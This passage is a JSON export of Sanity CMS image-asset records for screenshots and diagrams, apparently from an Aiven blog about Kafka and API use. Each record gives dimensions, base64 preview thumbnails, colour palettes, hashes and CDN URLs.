bfzc3cHglVa6OoxYbC5c3hWmvIsIiVQBKZEjHs8SE7OI0QzRyH9kiURz/5MnGisSiWQR11ZJBycpBEaR5m8QnFtmxp8ksJRn5a6MUJQSFCWJopSkGE8ix5LIUYlCVCInpsiKaTLRNKlImtSDBPnQHTaDY2z5LcgL44QWVgj6oyz/HiO0LPEvbzuVviDNo4sAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#47342c","foreground":"#fff","population":1.55,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#76350e","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#897568","foreground":"#fff","population":6.22,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cfbba7","foreground":"#000","population":5.99,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8d8c5","foreground":"#000","population":2.38,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#897568","foreground":"#fff","population":6.22,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e3651b","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Screenshot 2023-12-15 105207.png","path":"images/sczeoy4w/production/ed95b68bbd6d31f404a596608aca801413970427-1141x639.png","sha1hash":"ed95b68bbd6d31f404a596608aca801413970427","size":617594,"uploadId":"488EwI08N3EwkQRHIC6EUwQaLaZf01lP","url":"https://cdn.sanity.io/images/sczeoy4w/production/ed95b68bbd6d31f404a596608aca801413970427-1141x639.png"} {"_createdAt":"2023-12-15T09:57:33Z","_id":"image-23c05dbf921c77ccee0aec1b28c83315b024bfc4-1141x639-png","_rev":"7oPGYyiRG7hm5kP9hXmNRA","_type":"sanity.imageAsset","_updatedAt":"2023-12-15T09:57:33Z","assetId":"23c05dbf921c77ccee0aec1b28c83315b024bfc4","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.785602503912363,"height":639,"width":1141},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABYlAAAWJQFJUiTwAAADC0lEQVQokSXM209bBQDA4fOHmKi8SBmImmyLxgdjNk0MMyAjdbeEMRxKvAwNQSfoLonSdRNKhZZCW8MKE3ZCBKWOwShd2SotBYoDOmi0W3t6O70cDkMhzv1M8OF7/QQlrZCWMsTjeeTsNor6L4r6hLwKuQ3IbkBGgXQeEpkn/CH9w9LaNt7gI1x+lSm/imd+E9+9v/g9vIOQTWSJReJEIkmS6Uf/h5uQVR6TlLeJJbeIJraIJf9GSu8QkXZYDm/hW1Jw+7NM+zLcWcgzd08lGFIR1tb+xOvxMn3LzZw/SDgcJZVWiTxM4fbMIQ47uS6O4nbfYTW0zupqGL9vCff0HOM37uJ0zuByL+L13WfSFUBwuWawW3owXtZjMRgYtNkIzM7i8wf4rr2D2trT1NXW0GXQMeMa47bzOmNWIz/bOhHtnfT3dDAqDuBxT+Ec+wXB0T/AJZ2Or5u/5KszH3Phw9MMWM2IwyKNTU1UVh7mqPYwV75tYXpc5OY1C4MXPkPUNyP2XqbPrGOwr4tb4yNMjo8iNDY1UFf/AcdP1nCssoKTZQdpeL+aTxs/QXtES1nZIU4cexeD/hyum8PcGLJjbWmg64uPMOnP0WNsxWEzMuTowd7djvD6gX28sO9FntFoKCh4muJnn6L4uQJKni+keE8hJcV7OPTWQfQXP+eqtYPW82dpPHWcuqpyTlSW03SmHqvpCv22Ttq+aUZ4u/wAr7z2KprSUgo1Goo1RRQVFlFaUsL+vS/x8v69aKsqaNOdp/ViC9VHj1CjraL6nQoq3niT+lPvYe02MzIs0tdrRvhRFLFe7ed7kxWD0bKrvaMHY2cv3ZYfdjkGRCYm3Iz8NIbdZOaaqR2x6xJ9bTrsFgejzlk83hC3Z5YQUvIGyVSeRDxHXMohxXLEduWJSQrRWJ5oTCEqqTx8kEUKrZINTqEERkj4J1j0h/htXmZhWWFlXUXYTMnsSspsJmTUhMxGXEaJZ8jHM+SkDNlYBjmaQX6QQllfYSf4K4/nh1AWJlkL3Cc4J7G8mCC8kuI/VnCUu+IE370AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#47332a","foreground":"#fff","population":1.66,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#172b6c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c8d2f3","foreground":"#000","population":7.47,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cbbaa7","foreground":"#000","population":6.19,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c8d2f3","foreground":"#000","population":7.47,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8a7669","foreground":"#fff","population":6.47,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2d53d1","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Screenshot 2023-12-15 105118.png","path":"images/sczeoy4w/production/23c05dbf921c77ccee0aec1b28c83315b024bfc4-1141x639.png","sha1hash":"23c05dbf921c77ccee0aec1b28c83315b024bfc4","size":617880,"uploadId":"rTanSFtV6tyQhH9FVN8UslkNVvksalqq","url":"https://cdn.sanity.io/images/sczeoy4w/production/23c05dbf921c77ccee0aec1b28c83315b024bfc4-1141x639.png"} {"_createdAt":"2023-04-12T10:57:48Z","_id":"image-afeb9dd0a27fcee2dc5363a83dc88f401472109d-3840x2160-png","_rev":"5XbIyfqcIkGlU3arGFOUHQ","_type":"sanity.imageAsset","_updatedAt":"2023-04-12T10:57:48Z","assetId":"afeb9dd0a27fcee2dc5363a83dc88f401472109d","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":2160,"width":3840},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB+UlEQVQokV3QbU/aUBTA8X7/77DoJo5pCFPmYFvGjE4XEaijQAtYSqUt997ep7aXPtKWxTVLdMnv7f+cnCP5YclFTnhKvAzz1LT9mU4mMyiPLVmxRlNnMoMTDY6mzlgFYw0oqjPRHGNNWZBJVQlwbIFEN7e3PavZUuqN4fHpoHYyODrpH33oHx73Dmp39Ub/7EL+/E25ul3Ml5iLTKL+zmWxg+KVFWu6uPplnZ4px6dy7UR+V5ff1oeH7wdvju4Pav1WR+3J9khFmk4dN/K2hUT9zGUxoqnLdo4bP0xAp6u2OkqrMz5vK5Vm66H56fflT2M89xar0LAiSHfedl9tToiXcVGyoHDcSDe9hcEWBpsvqaYTdeFO50hR4d3A7l6b3WvzbgiWa8FF8Sr2tpV9hfo5JKmNIgeFpi16sn3eVs7aox83j7Ml5UH+Kv4P8XJAEguGNgyfHDFUwNeu9qWr3vSMR5NzkUss2GH+HHvb0g9LP9z74fNaLkrMdwC/jDcfL8b1xkP7+3y6IEzsJERjSGLMUxbkfxVcVErq55hnkCaIJpAkxjoYKuj2ftMfweU6YCKXdJOtLA/gyGUpwAnAicti4qVcFNUL/s16RoMCscwGwoYC81Sa6WT5xDbuFtHEQYmDIoBDlyVcFNUJLwXRnot84woL+IjGfwAFAUibfC1xkAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#313860","foreground":"#fff","population":0.56,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#171964","foreground":"#fff","population":0.42,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#5b6096","foreground":"#fff","population":1.02,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a8aed2","foreground":"#000","population":0.67,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a5a8f4","foreground":"#000","population":0.14,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5b6096","foreground":"#fff","population":1.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#393c7b","foreground":"#fff","population":0.13,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"third_diagram.png","path":"images/sczeoy4w/production/afeb9dd0a27fcee2dc5363a83dc88f401472109d-3840x2160.png","sha1hash":"afeb9dd0a27fcee2dc5363a83dc88f401472109d","size":76141,"uploadId":"26TkMKjb7PfGE35HQfg83CYaHjAcvwWa","url":"https://cdn.sanity.io/images/sczeoy4w/production/afeb9dd0a27fcee2dc5363a83dc88f401472109d-3840x2160.png"} {"_createdAt":"2023-04-12T10:57:48Z","_id":"image-e28f8da7eb8d73f7dd178e0fc352138fd20c1cc5-3840x1824-png","_rev":"ULcVtA1fOCO5xNRu1YVJKF","_type":"sanity.imageAsset","_updatedAt":"2023-04-12T10:57:48Z","assetId":"e28f8da7eb8d73f7dd178e0fc352138fd20c1cc5","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.1052631578947367,"height":1824,"width":3840},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB7klEQVQokTWS6U7bQBSF/f7vUAGFkEIpgtCStmrVRgJUk8QQZ3E24hRvM57VM963VCGp9P249/w5n66uEkSbIKp5WPGw5tuhDqKaihLgyIUh4fk2Cfc5D2sqCoAjD0VMlkoQ1UyWhOeYF4jla1tMl3g0BU9DWxtYg7E7msKhAQdjb2iA0RSMDG8880yLUpErTJaYZR5KLC9drsN71bps6c2LfuO8d3LWOz7rHn/oHjbUg5M/zY/dq8/al+96534+e0FM5goJCp8mDkxMKzGWsvNgnV/pjXPt5Ex739SOmv3D096748eDRrfVnqiaPZhAY0EcGPOwUkiQ+zSBJPNp4fjJ08hr/5y02nqrPby+1a9v9atb/VPr6fLm+ffdajTji3W0smJICh5u9s2Y50zWVFQOjJdrNl/R+YrOXoixxJO5P57BoQEeNftHx/z2y3zoOsu1YHLbXPg0xTznsubhZnvzPRsSVABnNohsEL26Uu07zYvno9P+zdfp0EBMFgrAiYdixDIalCQoqaioqJisdiKIFQCnACeun8xXXO17d6rTewYvfwMqCmVuUtPiAMc+yVyUeSh9E8mYrP6LVDuoqDAvIcksT9pAIJYqC5OZFvdQBEnqotT1E4BjxFImq7f/2Yh4z25lsgQocqFANP0Ha1oUeFeae5IAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#32385d","foreground":"#fff","population":0.65,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#121765","foreground":"#fff","population":0.23,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#5c6297","foreground":"#fff","population":1.13,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a8aed7","foreground":"#000","population":0.59,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a0a6f4","foreground":"#000","population":0.06,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5c6297","foreground":"#fff","population":1.13,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#363876","foreground":"#fff","population":0.09,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"second_diagram.png","path":"images/sczeoy4w/production/e28f8da7eb8d73f7dd178e0fc352138fd20c1cc5-3840x1824.png","sha1hash":"e28f8da7eb8d73f7dd178e0fc352138fd20c1cc5","size":61807,"uploadId":"IBdtFxQ2aiP5M3iFZSn6s11PtaUMeXHN","url":"https://cdn.sanity.io/images/sczeoy4w/production/e28f8da7eb8d73f7dd178e0fc352138fd20c1cc5-3840x1824.png"} {"_createdAt":"2023-01-09T11:36:23Z","_id":"image-49df52068ff55cde1e8cbbcb8beed27666d2122e-1083x551-png","_rev":"DbggwV6E2LNVsJXxzreeUV","_type":"sanity.imageAsset","_updatedAt":"2023-01-09T11:37:19Z","altText":null,"assetId":"49df52068ff55cde1e8cbbcb8beed27666d2122e","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9655172413793103,"height":551,"width":1083},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAAsTAAALEwEAmpwYAAABrElEQVQokT2SWYvbQBCE/f9/02YJ5CkYTNhdkNfWZXnu+5I8mhnJwbIT6Jcu6oOmq3Z2vNvxrv2ifTFhfa52XE0o2udNXF5iWLRLwmTlit2cOzveTViZmiEdiYjKFRPu0mbIxgG5K/ZU3rRfbFistmwYvit07pw0xT1hHVYsUnsNHXBURuUWIlMHQn2x7WABmYQp1t0CPJHD2+8fv/b7honJTesLRmKpr6m5TphHaQoWpce5hamDaSCZ6mK1HcEn/Xg//Hz72B8EN25cdyasyi1IlAbmDiYqZ6VnyHJ9Lce+VH2pQcEiayUNbRnoLnUD+1ZrZ8d1p1zhOlGZAEuAzlxFpSMg87HPX03+rPNpKIgnpRXnBBINsGPCG58fsPbLBkfMb0REabOyGfG5g7mBSwsf9xORpL1h5pvBnS8e8fiMYGfHVZiM+Q2xkalZb3kwbjANiCXEZkI9F07oeEG+qmV1lgPyj7Re3/aLMJnrtEmr8VFJLqXhKnI5Sam0ktJMgPi6F9UJnzuGmJc2PeD/xfhXhmJ8NH42vmwTrY926wxT4bsGf77qYw0gcX8BKb0ttW6InIIAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#242c3e","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0f1141","foreground":"#fff","population":0.05,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f7f0a4","foreground":"#000","population":0.17,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9ea8cf","foreground":"#000","population":0.08,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7f0a4","foreground":"#000","population":0.17,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#596aaa","foreground":"#fff","population":0.09,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f18218","foreground":"#000","population":0.04,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"static-ip-blog-firewall-deny.png","path":"images/sczeoy4w/production/49df52068ff55cde1e8cbbcb8beed27666d2122e-1083x551.png","sha1hash":"49df52068ff55cde1e8cbbcb8beed27666d2122e","size":44756,"title":null,"uploadId":"YMftkyLJAcBIvfeEwEWbwFQDhi1gbRND","url":"https://cdn.sanity.io/images/sczeoy4w/production/49df52068ff55cde1e8cbbcb8beed27666d2122e-1083x551.png"} {"_createdAt":"2022-11-21T11:53:40Z","_id":"image-a64697f4a7dad6fcd3fa2c6105c5792b82007220-1742x995-png","_rev":"bUMlF7B1Xxw34pzcKtloC6","_type":"sanity.imageAsset","_updatedAt":"2022-11-21T11:54:31Z","altText":"Screenshot for how to use the Aiven API and Postman to make an API call: paste token","assetId":"a64697f4a7dad6fcd3fa2c6105c5792b82007220","description":"The next step in this example setup for an Aiven API call, pasting the authentication token into the correct field for use.","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7507537688442212,"height":995,"width":1742},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB7UlEQVQokY2SW27cMAxFvf9dFN1BgMl30TUERZKiQMfxxI+x9aZISiOpoJIUQb/6cSyBBi/vpT3ML+dv12X+uV+vL9dtG7dlHrd1Hq/bMu7b2s91eR3X+dLffdS3dRmnyzyep+V8eZ2ny2V6GM+/vwzrPD+o43DO2mStYWMMe+cYADhG4AiBvbPsjGYInhEjEyLHGPmwwKsKpKzPxtrtOPa7YZnnZ3UcZIxpzrnmvW8A0JCoMXNjpkaIjYlazrmVUlqttZ+cbi1SbsSpEbPx3t8P+74/KqXicRzNGFO9950YYyWiiog1RqzEqVLKlZhrSqnecu7knEtK3IhIhRBOg9b6yVqLSqsPwe4SEVtKqbt8c5saQGxKqc57ohpCECSV7oLGmCfnHWqju6DEpU/xhNvt1pEhkmTbtrbvuwhXEZWeGKMGgNPgnHvy3qPWb4LSJM2yp3+RujiWgQIzS+Qq9ZyzJqLT4L1/DCGgRHgXrKWU2lr7X0qTRymKmU8DADxHRBLbsouPuP8iLnr89zXIzM/uSymGme+HEMIDIjpEzETEgvyDzjm21na8970GERmQOVJi4sQp/eWWUtoQ8U4+ynfv/S8AuADAJDjnJqXUdBxHR+5a60kbOykbJu1gch6mEILwAgCvIYQfzrmvfwD+k0dOgCAJzQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#464444","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1d4367","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3376b6","foreground":"#fff","population":0.03,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a0bcc8","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8cbcf4","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c848c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3376b6","foreground":"#fff","population":0.03,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"paste-token.png","path":"images/sczeoy4w/production/a64697f4a7dad6fcd3fa2c6105c5792b82007220-1742x995.png","sha1hash":"a64697f4a7dad6fcd3fa2c6105c5792b82007220","size":216933,"title":"Screenshot for how to use the Aiven API and Postman to make an API call: paste token","uploadId":"rXOVGGK1Lc5rOELyR7pA4bjCrfij1Kiv","url":"https://cdn.sanity.io/images/sczeoy4w/production/a64697f4a7dad6fcd3fa2c6105c5792b82007220-1742x995.png"} {"_createdAt":"2022-12-09T07:09:38Z","_id":"image-60de3745dec681fdafe6a6d1df158c3beb8534da-3336x2374-png","_rev":"cwf6PSmkIH3MXtFHyxTLNn","_type":"sanity.imageAsset","_updatedAt":"2022-12-09T07:15:38Z","altText":null,"assetId":"60de3745dec681fdafe6a6d1df158c3beb8534da","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.405223251895535,"height":2374,"width":3336},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAYAAAAvxDzwAAAACXBIWXMAABYlAAAWJQFJUiTwAAACsklEQVQ4jVWT3Y6jRhCF/f73uckrJFKyI0WJotXebLLZeD2eGdvjH4zNTzfQDRhsg7ENxt+KnvFq5uJTNaWq00Cd6sV5S5BckXEHCH01+Kplam/5OnR4mmrm6x0Lp8AJanzd4nc1r3T1QdKSbFt6cX7Bj2ps/4QtTrhh89KgWmZ2bgQfp8oIWm6BE74Iih9cTQxvgknemDf48+OMvz7NGc0SZFwTxBdWomJqZ8xWWyO29Eoct0S4JZE+031dnF8NnVi2v9JLtw2DR8Evv/X59cM3hk8+oa6QumHpHZlYOx6nGY/TnPEsZ/GkcO4FShTkxZVt+Z5etr/gBXsmc83zQuPLDKULRFixFhWWe2DulAbLKVnNU7xJhA4PRjB/gxFMty2BV+I/bwjdgiStiPWeICwQ6oRUNVIeCcTx5RweCcID8aYmzVuUqIisLXFwZLNr6an0wmoQM/99gTtQaFWi9Q5fHljJhpV1wP7o4fzt4C0K1sEFN6xRaU2kT6y+aRZ3Fv5DQpxd6IVJw6Sv6X+wmPVDwmCPUnsccWTqNIwHOQ8/3zP+6X8WXxOTW3o1gaoQsmD8X0j/zmJ2H6PShl4Q1zxONnz+V/I0SQn0EZ2ecYMzc+fMaLRl8MeK4Z3FeJgyW59Yy5ooqRFRxcMo4Z8vktE0M7me2nQ3lkysLUvvQPesswYZHXFkZXILe898uTNDWfsHMzCV1IRxjeW+9Nr+wfQZY8u4wYtqhGqM46WucUTJyiux/eo9bsF6keGNU+S6REQNftcXN7dN6VbvvfPdqMFyO1PveV6+Yhc/zrNhjPXJwx1l+NHFbE63CEl+odeNuhNVWYt+RW26ggahzviG02s8m5zwD0hrR+hXSHXCkQVeWKLSE72bw405u3jjZti3ubf54kq2bwlU938DrHWEVDu+A81TDoCWkOaxAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2e333f","foreground":"#fff","population":0.18,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0b0f4e","foreground":"#fff","population":0.42,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b5bedb","foreground":"#000","population":1.37,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b5bedb","foreground":"#000","population":1.37,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f464c4","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6884a4","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e73e8d","foreground":"#fff","population":0.34,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"kafka-ecosystem-blog-announcement.png","path":"images/sczeoy4w/production/60de3745dec681fdafe6a6d1df158c3beb8534da-3336x2374.png","sha1hash":"60de3745dec681fdafe6a6d1df158c3beb8534da","size":378198,"title":"Aiven's ecosystem for Apache Kafka [a long box titled Klaw at the top; below on the left, Aiven for Apache Kafka Connect and Karapace plug into Aiven for Apache Kafka, which in turn communicates with Aiven for Apache Flink and Aiven for Apache Kafka MirrorMaker 2. Finally, Kafka plugs into another Connect box]","uploadId":"n0CVuP0rfIx6hAZr4WhZ11k8lXrJZSne","url":"https://cdn.sanity.io/images/sczeoy4w/production/60de3745dec681fdafe6a6d1df158c3beb8534da-3336x2374.png"} {"_createdAt":"2023-04-12T11:15:30Z","_id":"image-c73aa7c9614616a6e110a310512dabf405ca048e-2500x1308-png","_rev":"gO4PimG2K28q9ZOw6PHb75","_type":"sanity.imageAsset","_updatedAt":"2023-04-12T11:15:30Z","assetId":"c73aa7c9614616a6e110a310512dabf405ca048e","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M75rv3_4WAD%Mx?v%gRjIUWBM{M{V@t7xu","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9113149847094801,"height":1308,"width":2500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAABcRAAAXEQHKJvM/AAABpElEQVQokXWR208TQRSHuzvdGxpLuJaYKOFBZM/MlIvZhUKjtNoIlUdIMGJondmZWYoL+0AaYvEJ0zS4VvAPJtuqqQaSX07Ow/lyvpyTyRI56kWTxXjMj8ZWT6Y24qlinN+I8+vxpH/ycLmJQGTc4O7YBTVXPV/d73h7317sXpYOuqUP3Zcfryr1ZP19Z7bSsqjS7oNHCuH8dnvz8HulkWweXlV5b0v8rMmbnfBX6aD7+NWZQeR/jNZP2j9YOoKdr+V68ob1qry3La9r6uZ1IynudxZqFzkv0v/V1txAB64DT/mRpaPntXbq2fiRwuK6XE/g3cX02umjlaYx5DxoBjACrrs8k6VqfO30aaU1Vz1/9vbL/Fb7SbmV8z5nsUj14DepuwHq1xR2/8AaCISFQaRJpE2VTZVBJMJCG7LVXIFAWiBMCLKDtdAX0d3AwoFDpUkUAqEtDN3jb0AiHFpY2TiwMTMxQ7g/YwGfWAxm/ONRPzIL93wFhI5Dk4QO4Q755FBmUW5gnjGBjy/yvN/MeZFB1d3/BKFhZaabmU2YQ5ldYBZltzEui/1ke68DAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#573044","foreground":"#fff","population":0.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":69.54,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":69.54,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b5c7c4","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a1bbd8","foreground":"#000","population":0.46,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#607694","foreground":"#fff","population":1.13,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b14c55","foreground":"#fff","population":0.11,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"your_developer_environments_managed_social_media.png","path":"images/sczeoy4w/production/c73aa7c9614616a6e110a310512dabf405ca048e-2500x1308.png","sha1hash":"c73aa7c9614616a6e110a310512dabf405ca048e","size":131708,"uploadId":"bBQPCmWjfYZHxuyw7sBYUa7ywX88aGYd","url":"https://cdn.sanity.io/images/sczeoy4w/production/c73aa7c9614616a6e110a310512dabf405ca048e-2500x1308.png"} {"_createdAt":"2024-02-20T13:21:45Z","_id":"image-9c639e660d2dcc8a08781a30c097995514775c12-1200x628-png","_rev":"AhQsd13Ciq0lSu1FlZ6hcl","_type":"sanity.imageAsset","_updatedAt":"2024-02-20T13:21:45Z","assetId":"9c639e660d2dcc8a08781a30c097995514775c12","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5TN$i.*dX?sdZ~oixd?kVendCeSg#fSg2","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAB6ElEQVQokS3RbU9SAQCGYaYFHBTJBC3LtqxVgGUhKG8eNZlJrlpfYqAblkoOUzAmHiAQ8JCvKR5SweqDK+tn3g3qB1y79+xR8UbNrJFIN/NdLJhY7CRq4oOJFSOxDqSbyBZ2+9m3UXZQHuCLldINPglITSqm9cStZDyknaTsZOzkHBQGkZ18HmLXw+kU5wF+BrkIcRHgxwSHfeTbSTWrmDHwsZ+sSNZLzktRZHMY2cPOGAcTlCeoveLXNH/C/A5x/prvPpQnFE3/cNv/ctZD1k3BS9FD0cW2WMeKnxM/1WecTVLzcezmeKiOS9dJX27g1YcUxtn0URitl2WRrRG2R9gbozLF6QsUkSMnFReKg4oDxcZWDxlNY3PMTG6EwlPyYr286aXkRXZRcnI4TvUlteec+fk2yclwHZcfIV9rlIN6lh8gDSLZWX9Mso81M5IF6R7rvWxY2HOijHLqo+rjqxtlgAMrRWNjc6idhI3kAHEzCTNLPcwZmNcTaeG9jhUDqW7yvZTus21mz8K+lZ07bBgaVwXbiN4lert+9dItIkbCGsLNvGtioZmohngra1eQOsgYyXWS72LjKhktqUsqAlqCrYR0zAiEW5jV8VbDnJqImkU1US3LWmICqwIJgaSAJJDSkNaQ0f4F+vhJD07QqlUAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8a3f0e","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ce5e16","foreground":"#fff","population":0.49,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":12.22,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b9aea3","foreground":"#000","population":0.06,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fac379","foreground":"#000","population":0.49,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#bc828e","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":12.22,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Final_Lili_Blog_image.png","path":"images/sczeoy4w/production/9c639e660d2dcc8a08781a30c097995514775c12-1200x628.png","sha1hash":"9c639e660d2dcc8a08781a30c097995514775c12","size":58317,"uploadId":"QB6TXJSoM972cuAEr5OqEqU6AALVhMIk","url":"https://cdn.sanity.io/images/sczeoy4w/production/9c639e660d2dcc8a08781a30c097995514775c12-1200x628.png"} 